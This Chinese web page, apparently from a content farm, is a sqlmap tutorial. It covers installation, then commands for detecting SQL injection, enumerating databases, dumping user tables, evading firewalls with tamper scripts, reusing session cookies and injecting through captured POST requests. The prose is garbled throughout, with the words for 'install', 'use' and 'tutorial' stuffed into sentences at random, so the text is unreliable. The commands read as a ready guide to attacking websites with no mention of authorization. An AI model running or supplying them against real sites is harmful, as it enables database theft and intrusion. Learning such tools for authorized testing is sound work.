当前位置:当前位置:首页 > 探索 > sqlmap安装使用教程 正文

sqlmap安装使用教程

[探索] 时间:2026-10-17 04:31:18 来源:力不从心网 作者:时尚 点击:54次

sqlmap这东西,安装用好了是使用利器,用不好就是教程给自己挖坑。今天不聊虚的安装,直接说怎么装、使用怎么用,教程都是安装实操干货。

先讲安装。使用sqlmap是教程Python写的,所以你得先有Python环境。安装Windows用户去python.org下载安装包,使用记得勾选"Add Python to PATH"——这步漏了后面全是教程坑。Linux和macOS自带Python,安装但版本可能旧,使用建议装Python 3.8以上版本。教程

装完Python,打开终端(Windows用cmd或PowerShell),输入:
git clone https://github.com/sqlmapproject/sqlmap.git
没装git?直接去GitHub页面下载zip包解压也行。我习惯放C盘根目录,路径短好敲命令。

进入sqlmap目录:
cd sqlmap
然后测试一下:
python sqlmap.py --version
能显示版本号就成功了。要是报错说找不到Python,多半是PATH没配好,去环境变量里手动加上Python安装路径。

核心用法来了。最基本的注入检测:
python sqlmap.py -u "http://example.com/page?id=1"
这条命令会检测id参数是否存在SQL注入。我第一次用的时候,对着一个教学靶场跑,几秒钟就爆出"Parameter 'id' is vulnerable",那种感觉就像第一次用搜索引擎搜到自己名字。

检测到注入后,下一步就是脱库。先看有哪些数据库:
python sqlmap.py -u "http://example.com/page?id=1" --dbs
然后选库、列表、脱数据,一条龙:
python sqlmap.py -u "http://example.com/page?id=1" -D target_db --tables
python sqlmap.py -u "http://example.com/page?id=1" -D target_db -T users --dump

这里有个坑得提醒你。--dump会把整个表拉下来,如果表里有几百万条记录,你的终端会卡成幻灯片。我建议先加个--count看看行数,再决定要不要全量导出。

实战中经常遇到WAF(Web应用防火墙)。sqlmap默认会发很多特征明显的请求,容易被拦。这时候用--tamper参数,比如:
python sqlmap.py -u "http://example.com/page?id=1" --tamper=space2comment
这个tamper会把空格替换成注释符,能绕过不少简单规则。还有between、randomcase这些,具体效果得试——每个站点的防护逻辑都不一样,没有万能钥匙。

再说cookie和登录态的问题。很多站点需要登录才能访问参数,这时候用--cookie:
python sqlmap.py -u "http://example.com/page?id=1" --cookie="PHPSESSID=abc123; security_level=0"
我见过有人卡在这一步半天,其实浏览器开发者工具里复制一下Cookie头就行,别自己手打。

post请求怎么办?把请求包存成文件,用-r参数读取:
python sqlmap.py -r request.txt
request.txt长这样:

POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

user=admin&pass=123456

这个技巧在测试登录接口时特别管用。

最后说点个人感受。sqlmap虽然强大,但别指望它全自动搞定一切。遇到复杂站点,得手动改payload、调参数,有时候还得结合burp suite抓包分析。工具是死的,思路是活的。我见过有人拿sqlmap跑了一个小时没结果,结果手工注入两分钟就进去了——因为那个站点过滤了union select,但没过滤union all select。

装好工具只是第一步,理解SQL注入原理才是根本。sqlmap帮你省去重复劳动,但判断哪里能注入、注入点后面藏着什么数据,这些还得靠脑子。

(责任编辑:综合)

相关内容
精彩推荐
热门点击
友情链接